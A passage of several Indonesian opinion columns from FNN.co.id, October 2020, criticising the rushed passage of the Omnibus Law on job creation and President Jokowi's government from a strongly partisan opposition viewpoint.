banyak yang tidak baca UU ini secara lengkap, tapi sudah komen dan demo duluan,” tulisnya. “Tapi ayo cek berita, bahkan sekelas Menteri, Ketua Komisi DPR, mereka bingung sendiri dengan pasal klaster pendidikan yang ternyata masih ada. UU ini tebalnya 900 halaman lebih (dengan penjelasan pasal), cepat sekali prosesnya, jadi, disahkan,” sindirnya. Menurutnya, menulis novel picisan 500 halaman saja butuh waktu 6-12 bulan. Ini UU, yang serius sekali, menyangkut begitu banyak aspek, bisa wussh. “Entah siapa yang benar-benar telah membaca seluruh halamannya. Kamu?” tegasnya. Fadli Zon (IG: Fadlizon). “Sampai hari ini sy sbg anggota @DPR_RI belum terima naskah RII #OmnibusLaw yg disahkan 5 Oktober 2020. Sy tanya, masih diteliti dirapikan. Jd mmg UU ini bermasalah tak hanya substansitp jg prosedur.” (17:15 - 09 Okt 20). Usulan Presiden Melansir Kompas.com, Selasa (06/10/2020, 13:23 WIB), RUU Cipta Kerja merupakan RUU yang diusulkan Presiden Joko Widodo (Jokowi) dan merupakan bagian dari RUU Prioritas Tahun 2020 dalam Program Legislasi Nasional Tahun 2020. Pembahasan RUU Cipta Kerja oleh pemerintah dan DPR ini terbilang kilat dibandingkan dengan pembahasan RUU lain. Bahkan, awalnya RUU Cipta Kerja bisa selesai sebelum 17 Agustus meskipun di tengah pandemi Covid-19. Bandingkan dengan RUU lain yang belum juga diselesaikan oleh DPR: RUU Penghapusan Kekerasan Seksual (PKS) dan RUU Pekerja Rumah Tangga (PRT). Padahal jika dilihat dari jumlah Daftar Inventarisasi Masalah atau DIM, pasal-pasal di RUU Cipta Kerja yang dibahas jumlahnya jauh lebih banyak. Dikebutnya pembahasan RUU ini diklaim demi kemudahan investasi di Indonesia. Sidang-sidang pembahasannya dilakukan siang malam bahkan hingga larut malam, meski dibahas di tengah masa reses dan pandemi. Pemerintah dan Baleg DPR memang sempat menunda pembahasan Klaster Ketenagakerjaan ini setelah mendapat perintah resmi dari Presiden Jokowi pada 24 April lalu. Hal ini untuk merespons tuntutan buruh yang keberatan dengan sejumlah pasal dalam klaster tersebut. Gerak cepat pemerintah jauh sebelum disahkan, pemerintah bergerak cepat meloloskan RUU Cipta Kerja. Pada Februari 2020, pemerintah mengklaim telah melakukan roadshow omnibus law RUU Cipta Kerja di 18 kota di Indonesia untuk menyerap aspirasi masyarakat. “Untuk menyerap aspirasi dari teman-teman maka seluruh stakeholder ekonomi dilibatkan, justru Bapak Presiden memerintahkan untuk menyerap aspirasi semuanya,” kata Sekretaris Menteri Koordinator Bidang Perekonomian Susiwijono kala itu. Adapun daerah-daerah tempat digelarnya roadshow adalah daerah-daerah yang memiliki stakeholder paling banyak, selain itu jumlah perusahaan dan jumlah pekerjanya juga banyak. Dari sisi investasi, juga menjadi pertimbangan digelarnya roadshow di daerah tersebut. Justru selama penyusunan draft adalah periode paling alot ketimbang pembahasan di DPR. Karena selama penyusunan draft, pihak serikat buruh yang menjadi salah satu stakeholder beberapa kali melayangkan keberatan. Sampai 64 rapat RUU ini baru mulai dibahas DPR pada 2 April 2020 dalam Rapat Paripurna ke-13. Selama di parlemen, proses pembahasannya relatif berjalan mulus. Untuk meloloskan RUU Cipta Kerja menjadi UU Cipta Kerja, anggota dewan sampai rela rapat maraton. Ketua Badan Legislasi (Baleg) DPR RI Supratman Andi Agtas pun mengatakan, pada bab-bab terakhir pembahasan RUU tersebut bahkan dilakukan di akhir pekan. Secara keseluruhan, Baleg DPR RI dan pemerintah telah melakukan 64 kali rapat. “Rapat 64 kali, 65 kali panja dan 6 kali timus timsin, mulai Senin-Minggu, dari pagi sampai malam dini hari, bahkan reses melakukan rapat di dalam atau di luar gedung atas persetujuan pimpinan DPR,” katanya dalam Rapat Paripurna DPR RI, Senin (5/10/2020). Secara keseluruhan RUU yang disusun dengan metode omnibus law itu terdiri dari 15 bab dan 174 pasal dari yang sebelumnya 15 bab dengan 185 pasal. Secara keseluruhan, ada 1.203 pasal dari 73 UU terkait dan terbagi atas 7,197 DIM yang terdampak RUU tersebut. RUU ini resmi menjadi UU setelah disahkan DPR pada Senin (5/10/2020). Isi RUU Cipta Kerja didukung oleh seluruh partai pendukung koalisi pemerintah. Dua fraksi menyatakan menolak RUU menjadi UU Cipta Kerja ini yaitu PKS dan Partai Demokrat. Tujuh fraksi partai pendukung RUU Cipta Kerja untuk disahkan menjadi UU: PDI-P, Partai Golkar, Partai Gerindra, Partai Nasdem, PKB, PAN, dan PPP. Apakah semua anggota DPR ini juga sudah baca RUU (Draf RUU) Cipta Kerja itu sebelum diketok dalam Rapat Paripurna DPR tersebut? Apakah Menteri Airlangga Hartarto dan juga Presiden Jokowi telah membacanya? Rasanya koq tidak mungkin! Berarti kita sama-sama kena hoax RUU sebanyak 900 halaman itu. Apalagi, ternyata meski telah diketok, setelahnya masih ada perbaikan isinya. Penulis adalah Wartawan Senior FNN.co.id

Dari Revolusi Mental Menuju Revolusi Sosial (Bagian-2)

by Dr. Syahganda Nainggolan Jakarta FNN – Ahad (11/10). Dalam tafsir pemikiran Marxian, model negara dengan pemusatan kekuasan di tangan Jokowi seperti ini adalah negara proxy kapitalis. Bukan sebuah negara ala Weberian atau ala Leviathan Hobbes yang melihat adanya eksistensi negara. Tafsir Marxian memperlihatkan bahwa cita cita Jokowi dengan Revolusi Mental yang ke kiri-kirian hanyalah seperti "Violin Obama". Sebuah term yang pernah dituduhkam pada Obama, yang berpura-pura kiri, tapi faktanya kapitalis habis. Namun, perjalan situasi saat ini tidak menguntungkan rezim Jokowi. Krisis pandemi Covid-19 telah menghancurkan negara, baik ekonomi maupun sektor kesehatan. Ekonomi mengalami krisis dan depresi tanpa jalan keluar. Harapan bantuan "teman baik" RRC tidak terjadi. Karena RRC juga mengalami kemerosotan ekonomi, yang membuat ratusan juta pengangguran di sana. Mengandalkan lembaga lembaga multilateral untuk menolong atau hutang juga sulit. Karena IMF misalnya, harus membantu 150-an negara anggotanya. Beberapa bulan lalu IMF hanya berhasil memberikan pinjaman rera-rata U$ 0,3 miliar per negara. Bandingkan Indonesia pada krisis moneter tahun 98, mendapat bantuan U$ 75 miliar. Kemerosotan negara akan terus memperburuk adminsistrasi dan pelayanan, serta kemampuan aparatur militer menjaga negara. Memperkuat peranan polisi pada social order, belum tentu efektif, jika keresahan dan perlawanan rakyat menguat. Selanjutnya munculnya tokoh-tokoh revolusioner ke depan. Dalam gejolak sosial seperti saat ini, kelompok-kelompok sosial terus memproduksi "tokoh-tokoh baru". Maksudnya tokoh-tokoh yang menjadi revolusioner. Gatot Nurmantyo dan Din Syamsuddin misalnya, dua tokoh baru dari masyarakat sipil dan eks militer. Kedua tokoh ini muncul membawa pesan-pesan revolusioner serta solidaritas. Tokoh seperti Agus Harimurti Yudhoyono misalnya, yang acap sebelumnya dianggap sepele, namun karena keberaniannya melawan rezim dalam kasus UU Omnibus Law, telah berubah menjadi sosok heroik. Tentu saja akan muncul banyak tokoh-tokoh baru lainnya ke depan. Tokoh-tokoh revolusioner baru ini akan bersinergi dengan tokoh revolusioner lama, Habib Rizieq Sihab. Situasi dan momentum akan membuat mereka membangun front bersama dalam membimbing perubahan. Terakhir soal ideologi perjuangan. Ideologi dalam pengertian sederhana adalah alat untik sebuah tujuan. Pengertian dapat dikembangkan bahwa ideologi adalah seperangkat nilai-nilai yang mengikat dan mewarnai sebuah gerakan sosial untuk mencapai tujuannya. Nilai-nilai itu adalah yang berkontestasi dengan nilai-nilai "establishment" dari penguasa. Saat ini ideologi perjuangan dan perlawanan telah melahirkan nilainilai yang mengikat collective ideas, yakni anti kapitalisme, anti Oligarki dan cukong-cukong dan mendorong nilai-nilai sosialistik menggantikan kapitalis liberal. Habib Rizieq yang dulu sendirian menggelegarkan anti terhadap “Sembilan Naga”, sebagai anti cukong alias anti kapitalis telah mendapatkan sekutu perlawanan dari berbagai tokoh-tokoh dan elemen perjuangan. Dengan pernyataan yang sama dari Gatot Nurmantyo dan Din Syamsuddin, misalnya, persekutuan ideologis terjadi dalam suasana perlawanan sosial mereka. Sebab-sebab munculnya sebuah revolusi telah terlihat sebagai sebuah fenomena sosial kita. Ketegangan sosial dan keruntuhan sosial lama telah dan akan menjadi kenyataan. Dalam situasi keruntuhan sebuah sistem sosial lama, sebab-sebab tersebut tidak dapat dipersepsikan sebagai sebuah kejahatan bernegara. Sebab-sebab tersebut adalah sebuah konsekwensi sosial dalam situasi dan momentum yang terjadi karena berbagai sebab-sebab sebelumnya. Suatu rangkaian peristiwa sosial yang terhubung sata sama lain. Ketika kita memaknai seorang Profesor ahli Hukum UGM, yang menyerukan pembangkangan sosial, tentunya bukan sebuah kejahatan. Sebab, seruan itu adalah reaksi atas aksi. Dan UGM selama ini dikenal sebagai kampus loyalis pendukung Jokowi. Namun sekarang menjadi berbalik. Mengapa Revolusi Mental Gagal? Revolusi yang digaungkan Jokowi sebagai upaya perubahan besar ketika berkuasa adalah Revolusi Mental. Revolusi ini adalah gagasan untuk menghancurkan kehidupan materialistik dan memperkaya diri dalam masyarakat. Selain itu, sebagaimana tulisan Jokowi di Kompas, April 2014, gagasan lainnya adalah menghancurkan budaya korupsi di Indonesia. Dua tahun setelah berkuasa, Jokowi melembagakan gerakan revolusi itu melalui Inpres 12/2016. Inpres itu menyatakan ada lima program Gerakan Nasional Revolusi Mental. Yaitu Program Gerakan Indonesia Melayani, Program Gerakan Indonesia Bersih, Program Gerakan Indonesia Tertib, Program Gerakan Indonesia Mandiri, dan Program Gerakan Indonesia Bersatu. Namun, sebagaimana kita ketahui, gagasan Indonesia bersih itu telah gagal total saat ini. Setelah Jokowi dan sekutu partainya "melumpuhkan" KPK tahun lalu, maka pembicaraan dan keraguan tentang rezim Jokowi yang semakin korup menjadi semakin nyata. Gerakan sipil dibidang pemberantasan korupsi melihat pelumpuhan KPK itu sebagai situasi terburuk upaya pemberantasan korupsi di Indonesia. Berbagai korupsi besar seperti skandal Asuransi Jiwasraya dan ketua KPK menggunakan fasilitas swasta untuk kepentingan pribadi, serta banyak lainnya, menandai membesarnya prkatek korupsi di Indonesia. Skandal perlindungan kasus korupsi Djoko Tjandra oleh petinggi kepolisian dan kejaksaan, menunjukkan situasi tidak berdaya rezim Jokowi dalam penegakan hukum. Mahfud MD, sebagai pemerintah, mengakui ketidakmampuan dan ketidakberdayaan pemerintah itu. Bahkan ketidakberdayaan presiden soal penegakan hukum ini. Bulan lalu, berbagai media mengungkap tanggapan atas pernyataan Mahfud ini sebagai sebuah kekalahan negara. Meskipun dia beralasan adanya pembagian kewenangan yang terpisah. Lalu mengapa Revolusi Mental Jokowi gagal? Setidaknya penyebabnya karena tiga hal. Pertama, jokowi terjerat pada persekutuan oligarki partai dan pemilik modal yang sebagiannya sudah terbiasa korupsi. Ditenggarai seorang mantan direktur Jiwasraya yang terlibat skandal Jiwasraya adalah pejabat di kantor Staf Presiden (KSP). Sekutu partai Jokowi lainnya, seperti Romi PPP, Setya Novanto dan Idrus Marham Golkar, serta Imam Nachrowi PKB juga koruptor. Kedua, Jokowi tidak punya basis sosial yang kuat dalam gagasan revolusi mental. Ini ditandai dengan tidak adanya kekuatan masyarakat yang mengusung tema ini secara besar besaran dan serius. Ketiga, Gagasan ini mungkin bersifat artifisial. Jokowi hanya ingin gagah-gagahan unjuk gagasan dalam menuju kekuasaan. Sebab pada pilpres 2019, Jokowi tidak lagi mempersoalkan keberadaan gagasan ini. Penutup Kekecewaan rakyat meluas dan mendalam. Spektrum kekecewaan itu datang dari berbagai persoalan bangsa, seperti isu kebangkitan Komunisme, isu Omnibus Law, isu Pilkada, isu krisis ekonomi, kesehatan, serta berbagai isu terkait pelanggaran HAM dan anti demokrasi. Kekecewaan ini telah meliputi ormas-ornas besar. Misalnya dalam kasus penolakan pilkada, dan elemen progresif revolusioner, yakni kaum buruh dan mahasiswa, dalam kasus Omnibus Law. Sebagai manifestasi kekecewaan itu, maka buruh dan mahasiswa sudah melakukan aksi perlawanan pada rezim Jokowi. Padahal mereka juga mengetahui adanya resiko pandemi yang mematikan. Dan diperkirakan kekecewaan ini tidak mudah berhenti, dan sangat sulit untuk dikendalikan. Krisis ekonomi dan sektor kesehatan, di sisi lainnya, telah menggerogoti negara. Skocpol, seorang sosiolog America misalnya, melihat faktor kegagalan negara menjadi salah satu sebab lain terjadinya revolusi sosial, ketika pemberontakan rakyat terjadi. Dua hal ini, perlawanan dan krisis negara menjadi syarat adanya sebuah revolusi sosial. Sebagaimana studi Theda Skocpol pada revolusi Prancis, Rusia dan China. Namun, berbagai ahli tentang revolusi lainnya mengaitkan adanya tokoh-tokoh atau "social agent" dan ideologi bersama. Dari sisi ini ideologi, norma anti "establishment", anti kapitalis, anti neo liberal dan anti komunisme telah mewarnai ruh berbagai gerakan yang ada. Dapat menjadi ideologi bersama. Tokoh seperti Habib Rizieq, Din Syamsuddin dan Gatot Nurmantyo, telah menjadi tokoh nasional yang terlibat dalam perlawanan. Bisa juga Agus Harimurti Yudhoyono dan Said Iqbal yang menolak UU Omnibus Law, serta Profesor Zainal Mochtar Arifin yang menyerukan pembangkangan sosial bergeser menjadi tokoh-tokoh revolusioner pula. Berbagai tokoh gerakan tentu saja akan muncul beberapa atau banyak lainnya dalam momentum revolusioner, di manapun dalam sejarah. Itulah situasi sosial kita saat ini. Sebuah situasi besar pergeseran "Dari Revolusi Mental Menuju Revolusi Sosial". Memang Revolusi akan selalu mencari jalannya sendiri. (selesai). Penulis adalah Direktur Eksekutif Sabang Merauke Circle.

Tidak Belajar Dari Orla & Orba, Malapetaka Pak Jokowi

by Kisman Latumakulita Jakarta FNN – Ahad (11/10). Presiden telah mengambil sikap. Presiden tidak mau menerbitkan Peraturan Pemerintah Pengganti Undang-Undang (Perpu) untuk mencabut UU Omnibus Cipate Kerja, yang sialan itu. Para guru besar hukum, dan lainnya dari berbagai Perguruan Tinggi, juga pelajar, pekerja dan siswa yang berdemonstrasi di seluruh Indonesia, disepelekan saja. Presiden punya hitung-hitungan? Itu pasti. Paling tidak Presiden menganggap penolakan berbagai kalangan atas UU sialan ini, sebagai ekspresi biasa dalam dunia demokrasi. Sampai disini oke. Tetapi bagaimana kalau rakyat, sekalipun hanya sebagian menganggap Presiden angkuh, sombong, ngaco ngawur, amburadul, asal-asalan dan picisan? Keangkuhan Seokarno & Soaharto Orde Lama dan Orde Baru, diketahui berbagai kalangan, dulu dan sekarang sebagai dua orde yang sangat memonopli kebenaran publik. Kebenaran hanya datang dari penguasa. Di luar penguasa, itu ngaco dan ngawur semua. Suara-suara kebenaran di luar penguasa Orde baru dan Ode Lama dianggap menggoyan stabilitas politik, mengganggu pemerintah dan lain sebagainya. Begitulah catatan beta sebagai wartawan yunior sejak awal 1990 dulu. Pemerintah tak boleh dikritik. Praktis pemerintah menjadi lumbung kebenaran yang mutlak-mutlakan. Kebenaran hanya punya mereka yang di kekasaan. Kenyataan itu juga yang menguat, tak terbandingi diujung kejayaan palsu Orde Lama. Siapapun yang merasa bahwa kritiknya itu benar dan masuk akal. Sehingga ada alasan yang kuat untuk tetap mengeritik pemerintah, maka harus berakhir dipenjara. Tragisnya lagi, dipenjara tanpa proses pemeriksaan di pengadilan. Orde Baru juga sama. Gampang untuk melupakan kenyataan sejarah yang sangat bernilai saat Orde Lama berkuasa itu. Bahkan Orde Baru tetap angkuh, pongah, sombong, suka mengentengkan masalah. Senang untuk bembanggakan sendiri kenyataan pembangunan, yang ternyata rapuh tersebut. Akibatnya, temboklah yang bicara. Untuk menunjukan betapa hebatnya Pemerintah Pak Harto mengontrol rakyat. Harus memastikan bahwa stabilitas terus bekerja sesuai defenisi penguasa. Stabiltas berada dalam kendalinya penguasa Orde Batu. Untuk itu, semua yang bebentuk gangguan harus disikat, dan dibereskan. Tetapi sejarah berbicara dengan fakta yang tak dapat dikoreksi. Presiden Soekarno dan Presiden Soeharto, dua orang paling hebat, berkuasa pada masanya, terjungkal dengan cara yang sangat menyakitkan dan menyayat hati. Dua orang besar yang tidak bisa dikatakan bawha mereka berdua bukan penyelamat bangsa ini, harus mengakhiri jabatannya setelah diolok-olok oleh rakyatnya sendiri. Sangat menyedihkan sekali. Namun itu kenyataan. Gurihnya kekuasaan memang membutakan segalanya. Begitulah sejarah menunjukan kepada kita. Itu juga yang terjadi di pemerintah keduanya. Bung Karno tak bisa dikoreksi. Begitu juga dengan Pak Harto. PKI yang terus menggila dalam politik Bung Karno, tak bisa dikoreksi. Dukungan mereka pada kebijakan Pak Karno, membuat PKI dilihat sebagai loyalis. Kaum revolusioner sejati. Yang lain seperti misalnya Masyumi? Itu Neokolim semua. Sedih memang, melihat catatan sejarah bagaimana keduanya diolok-olok oleh rakyat sendiri. Yang boleh jadi pernah mengagung-agungkan mereka dulu. Begitulah hukum politik. Selalu menemuikan cara untuk menghukum, mengolok-olok orang besar. Berpihak kepada orang pada saatu saat, lalu berpindah memihak orang kecil, yang biasa terhina di sisi lain pada waktu yang lain. Itulah hukum abadi politik. Jokowi di Jalan Yang Sama Presiden Jokowi yang tidak cukup punya bekal politik sekelas dengan Bung Karno dan pak Harto, juga Pak Habibie, dan Gus Dur. Jokowi sedang dan terus berada dijalan yang sama yang pernah dilalui Bung Karno dan pak Harto. Menyepelekan orang-orang pintar di kampus-kampus, sedang menjadi tabiat yang peling menonjol dari pemerintahannya. Persis seperti Pak Harto diujung kejayaan dulu. Saat di tepi waktu kejatuhan yang memilukannya, Jokowi telah dengan berani menyepelekan ratusan guru besar, para Doktor dan Profesor. Jokowi malah tegas meminta polisi memejarakan para demonstran. Tindakan ini persis sama dengan yang dilakukan oleh Pak Harto menjelang kejatuhannya dulu. Masih ingatkah bagaimana pemerintah Pak Harto mengarahkan kampus-kampus? Tidak ingatkah bagaimana pemerintah Pak harto memperlakukan mahasiswa menjelang kejatuhannya? Masih ingatkah bahwa ketika itu keadaan memang buruk, tetapi rakyat tidak sesusah secara ekonomi seperti sekarang ini. Sekarang malah luarbiasa susahnya. Pemerintah Orde Baru jago dalam mempromosikan konsep pertumbuhan ekonomi, sebagai mantra mensejahterakan rakyat. Pemerintah Pak Harto juga mengistimewakan kaum pengusaha. Masih ingat bagaimana kasus Marsina, perempuan pekerja yang mati terbunuh secara sadis itu? Masih ingat kasus Udin, jurnalis yang mati terbunuh setelah memberitakan kebobrokan pemerintahan? Sekarang ada jurnalis yang hilang ditengah liputan demonstrasi kemarin. Edan, ko bisa itu terjadi dalam demokrasi di eranya Jokowi? Atau itulah demokrasi ala Jokowi? Hanya waktu yang akan bicara. Jokowi tidak mengekspresikan sikapnya sebagai sosok yang sebenarnya ikut bertanggung jawabn atas demokstrasi kemarin. Bagaimana bilang informasi yang beredar hoax, sampai sekarang pun boleh jadi Jokowi belum memperoleh UU itu secara utuh. Persis seperti dialami Fraksi PKS dan Fraksi Denmokrat. Lalu atas dasar apa Jokowi bilang hoax? Presiden Jokowi hanya bisa berbicara secara umum sekali. Sama dengan semua orang yang bicara. Tetapi Jokowi cukup berani mengatakan orang-orang berdemonstrasi itu memperoleh informasi hoax. Hebat sekali Pak Jokowi kita ini. Meskipun belum baca utuh ini UU, tetapi sudah mampu mengklaim kebenaran. Sama persis eranya Orde Lama dan Orde Baru dulu. Pemerintahan Jokowi juga mengcopy-paste cara orde baru menghadapi keadaan politik yang panas. Caranya adalah menuduh orang, tanpa menyebut nama sebagai otak keributan. Pemerintah ini masuk ke cara kuno dan primitif. Tentu saja untuk menekan orang-orang berkelas yang kritis. Demonstran mau dipenjarakan. Tetapi tindak pidana pemukulan yang dilakukan oleh penegak hukum kepada para demonstran, didiamkan Jokowi. Sikap ini diskriminatif. Semau gue, juga angkuh dan sombong. Jokowi melukai para orang tua yang anaknya ditelanjangi itu. Sedih melihatnya. Ini juga cara terlalu kotor, primitif an bar-baran. Jokowi boleh saja berjaya saat ini. Boleh saja sepelekan guru besar, dan mencampakan dialog, serta terus kukuh, angkuh dan sombong menjalankan UU, yang para Guru Besar telah menolaknya. Pak Jokokwi, kalau UU ini hebat, mangapa musti disepakati malam-malam? Mengapa juga harus cepat-cepat disahkan? Padahal drafnya saja belum tuntas? Ada apa Pak Jokowi? Ada yang disembunyikan atau ada yang dihindari? Oke Pak Jokowi bilang silahkan uji ke Mahkamah Konsitusi. Beta bukan ahli hukum. Beta hanya jurnalis hukum, sehingga cuma bisa ajukan pertanyaan kepada bapak. Pernahkah sekalipun hanya sedetik saja, bapak bayangkan berapa jumlah permohonan yang harus disiapkan pemohon? Sampai sekarang Pak Jokowi tidak mampu menjawab pertanyaan PKS dan Demokrat, tentang dimana draf akhir UU itu berada? Tetapi Pak Jokowi telah dengan meyakinkan menyalahkan orang-orang. Saya sarankan jawablah segera. Dimana itu barang? Sedang diapakan itu barang? Pak Jokowi tak bisa dianggap tidak bertanggung jawab terhadap keributan sekarang ini. Barang tidak jelas, tetap disahkan. Apakah Pak Jokwi sedang menyusun bata pasir rapuh untuk mengundang kejengkelan yang lebih dari rakyat negeri ini? Hanya Pak Jokowi yang tahu itu. Sekarang bapak menolak untuk berdialog. Tidak mau mengikuti kemauan rakyat. Kalau bapak buka dialog saat ini, toh untuk apa? Tetapi sejarah telah menunjukan bahwa Pak harto yang sebelumnya tidak mau berdialog, akhirnya dijepit waktu dan memanggil untuk berdialog dengan para tokoh. Hasilnya? Pak Harto akhirnya berhenti. Apakah itu yang diharapkan oleh Pak Jokowi? Waktu yang menjadi saksi dan hakim untuk kita semua. Penulis adalah Wartawan Senior FNN.Co.id.

Cek Kosong, Ilusi & Hayalan Dari Omnibus Law

by Anthony Budiawan Jakarta FNN – Ahad (11/10). Sedih dan pilu nasib rakyat Indonesia. Kebijakan ekonomi berdasarkan coba-coba tanpa kajian menyeluruh dan masuk akal. Kebijakan coba-coba ini hanya berdasarkan intuisi. Yang ternyata salah arah. Atau memang tujuannya mau menguntungkan pihak tertentu saja? Mereka itu adalah oligarki, korporasi dan konglomerasi. Target pertumbuhan ekonomi 2015-2019 dipatok 7 persen. Realisasinya jauh di bawah itu. Jauh panggang ari api. Pertumbuhan ekonomi 2015 hanya 4,9 persen. Akibatnya, pemerintah kelihatan bingung dan penik. Jurus kebijakan coba-coba mulai dijalankan. Sejak 2015 pemerintah mulai menerbitkan Paket Kebijakan Ekonomi (PKE). Katanya untuk mendongkrak pertumbuhan ekonomi menjadi 7 persen. Hasilnya? Silahkan cari di laut bebas. Tidak hanya satu kebijakan, tetapi berjilid-jilid. Puncaknya 16 November 2018, pemerintah menerbitkan PKE jilid XVI yang sangat absurd dan akhirnya harus direvisi atau dibatalkan. PKE intinya kebijakan insentif perpajakan untuk menarik investasi dan meningkatkan pertumbuhan ekonomi. Tetapi, hasilnya nihil. Pertumbuhan ekonomi 2015-2019 rata-rata hanya 5 persen per tahun. Lebih rendah dari dua periode 5 tahun sebelumnya. Pertumbuhan rata-rata 2005-2009 dan 2010-2014 masing-masing 5,6 persen dan 5,8 persen per tahun. Kemudian pemerintah mengeluarkan kebijakan Tax Amnesty (TA) yang berlaku Juli 2016 hingga Maret 2017. Tax Amnesty lagi-lagi memberi janji angin surga. Janji manis ditebar pemerintah dan pengikut intelektualnya. Setara dengan pengikut yang aktif di medsos. Propagandanya sangat militan. Sampai mengancam bagi yang tidak ikut Tax Amnesty. Janji manis Tax Amnesty sebagai berikut. Pertama, Tax Amnesty akan membawa kembali uang penduduk Indonesia yang disimpan di luar negeri. Nilainya fantastis, sekitar Rp 4.000 triliun, bahkan sampai Rp 11.000 triliun. Kedua, dengan uang hasil Tax Amnesty itu, akan membuat pertumbuhan ekonomi meroket. Ketiga, Tax Amnesty membuat rasio penerimaan pajak terhadap PDB naik drastis. Dari 11 persen menjadi 14,6 persen pada 2019. Janji Tax Amnesty ternyata tidak terbukti. Pertumbuhan ekonomi hanya rata-rata 5 persen per tahun pada 2015-2019. Rasio penerimaan pajak 2019 malah turun menjadi 9,8 persen. Uang yang masuk (repatriasi) dari luar negeri hanya Rp 146 ,6 triliun. Jauh di bawah nilai propaganda. Yang menjadi “korban” Tax Amnesty malah penduduk di dalam negeri. Nilai harta dalam negeri yang dilaporkan sebesar Rp 3.633,1 triliun. Padahal banyak harta ini diperoleh dari hasil kerja yang sudah bayar pajak. Tetapi belum dilaporkan di SPT Tahunan yang memang sebelum tahun 2008 tidak diwajibkan untuk itu. Sedangkan harta luar negeri yang dilaporkan terkait Tax Amnesty hanya Rp 1.180 triliun, jauh di bawah nilai propaganda. Kebijakan PKE dan Tax Amnesty dapat dikatakan gagal. Tetapi, pelaku penggelapan pajak sudah terbebas dari ancaman pidana penggelapan pajak. Pemerintah, dan DPR yang menyetujui Tax Amnesty, aman-aman saja. Juga bebas dari segala konsekuensi akibat kegagalan dalam mengambil kebijakan yang merugikan masyarakat luas dan menguntungkan segelintir orang saja. Karena tidak sanksi atas kegagalan kebijakan ini. Karena tidak ada mekanisme pemberian tanggung jawab kepala negara kepada rakyat. Akibat hak konstitusi rakyat sudah dirampok dengan UUD “palsu”. Sebelumnya, presiden Soekarno turun karena pertanggung jawabannya tidak diterima MPR. Begitu juga presiden Habibie. Ooh betapa buruknya nasib rakyat Indonesia sekarang ini. Setelah Tax Amnesty, kini giliran Omnibus Law Cipta Kerja dimainkan. Maksudnya dikenalkan ke publik. RUU Cipta Kerja yang diumpan pemerintah sudah disahkan DPR menjadi UU pada 5 Oktober 2020. Pengesahan UU ini disambut gelombang protes dari berbagai elemen masyarakat. Seperti biasa, pro dan kontra saling sikut menyikut. Pihak kontra mengatakan UU ini sangat merugikan masyarakat termasuk buruh, pekerja dan petani. Bahkan ada yang mengatakan UU ini membuat sistem perbudakan di Indonesia aktif kembali. Tragis mendengarnya. Selain itu, 35 investor global menyuarakan kekhawatirannya terhadap potensi kerusakan lingkungan hidup. Pemerintah tentu saja ada alasan mengapa begitu ngotot mau mengesahkan UU Cipta Kerja. Alasannya klasik, sama seperti alasan Tax Amnesty. Yaitu, untuk menarik investasi sebesar-besarnya. Investasi asing maupun dalam negeri. Menciptakan lapangan kerja dan meningkatkan pertumbuhan ekonomi. Benarkah propaganda ini? Benarkah UU Cipta Kerja akan meningkatkan investasi? Jangan-jangan propaganda ini akan menjadi cek kosong belaka, seperti pada kebijakan Tax Amnesty. Maksudnya, semua janji manis hanya isapan jempol saja. Kalau ini sampai terjadi, apakah pemerintah dan DPR berani bertanggung jawab karena sudah begitu ngotot mengesahkan UU tersebut, meskipun diiringi protes dan korban jiwa? Misalnya, mengundurkan diri kalau gagal? Masalah ekonomi yang lemah saat ini bukan karena UU. Karena dengan menggunakan UU yang sama, pertumbuhan investasi pada periode 5 tahun sebelumnya (2010-2014) bisa lebih tinggi dari periode 5 tahun terakhir (2015-2019). Pertumbuhan investasi pada periode 2010-2014 rata-rata 27 persen per tahun. Jauh lebih tinggi dari periode 2015-2019 yang hanya 10,3 persen. Pertumbuhan PMA dan PMDN periode 2010-2014 masing-masing 21,4 persen dan 32,8 persen. Juga jauh lebih tinggi dari periode 2015-2019 yang masing-masing minus 0,23 persen dan plus 19,9 persen. Padahal pemerintahan SBY pada periode kedua tersebut juga menggunakan UU yang sama, dengan pemerintahan Jokowi, yaitu UU yang belum diganti dengan UU Cipta Kerja. Berdasarkan fakta ini, sangat tidak tepat menyalahkan UU atas pelambatan investasi. Oleh karena itu, solusinya bukan mengganti UU. Tapi seharusnya mengganti pengelola negara. Maksudnya, anggota kebinet yang tidak mampu. Selain itu, pemerintah dan DPR harus bertanggung jawab kalau kebijakan yang sudah makan korban nyawa ini ternyata gagal. Harus ada konsekuensinya. Berani? Penulis adalah Managing Director Political Economy and Policy Studies (PEPS).

Omnibus Law Ciptakan Hantu & Genderuwo

by M Rizal Fadillah Bandung FNN – Ahad (11/10). Draft final Rancangan Undang-Undang (RUU) Cipta Kerja, disingkat Cilaka tidak ada di meja anggota Dewan Perwakilan Rakyat (DPR) yang terhormat. Bahkan tidak jelas rimba keberadaannya hingga kini. Jadi timbul pertanyaan benarkah RUU sialan itu dibahas ? Lalu materi apa saja yang telah dikritisi ? Wallahu a'lam bishawab. Saat diketuk pula dalam keadaan drafnya belum final. Baru dilakukan finalisasi setelah disahkan di rapat peripurna. Padahal rapat di tingkat Rukun Tetangga (RT) dan Rukun Warga (RW) saja tidak begini-begini amat rasanya. Karena draf final RUU tidak tampak di meja anggota DPR yang terhormat pada saat rapat peripurna pengesahan, maka ini bisa dikatagorikan UU hantu, kuntilanak dan genderuwo.UU paling amburadul sepanjang Indonesia merdeka sampai sekarang. Bahkan mungkin juga paling UU paling amburadul di dunia. Makanya harus diberikan rekor MURI dari Jaya Suprana RUU Omnibus menjadi RUU hantu, kuntilanak dan genderuwo. RUU yang barangnya tidak ada di meja anggota DPR. Keberadaannya hanya draft awal. Draf lengkap tidak ada. Malah ada anggota yang Dewan menyatakan kalau RUU Omnibus yang bertebaran sekarang banyak versi. Lalu ada lagi yang bilang salah ketik ini dan itu. RUU yang unik ini, tebalnya 906 halaman. Praktek pengesahan UU yang sangat kontroversial. Disajikan dengan telanjang seperti ini oleh lembaga perwakilan rakyat yang anggotanya bergaji tinggi. Mendapat fasilitas memadai, politisi berpengalaman, serta tokoh-tokoh organisasi. Anehnya, ada yang salah urus di negara ini. Sehingga terlihat kerja DPR dan pemerintah sangat amatiran,amburadul dan primitif. Setelah diketuk palu, hantu, kuntilanak dan genderuwo pun masih bergentayangan. Terlihat ketika buruh dan mahasiswa, pelajar dan masyarakat melakukan aksi penolakan di hampir seluruh kota-kota besar Indonesia. Begitu juga dengan akademisi dan berbagai organisasi termasuk organisasi keagamaan yang juga bersikap menolak. Eh, Menko Polhukam Mahfud MD tiba-tiba nongol tengah malam. Lengkap dengan Panglima TNI, Kapolri, Kepala BIN dan Mendagri. Alih-alih mendengar aspirasi rakyat. Mahfud justru balik mengancam dengan 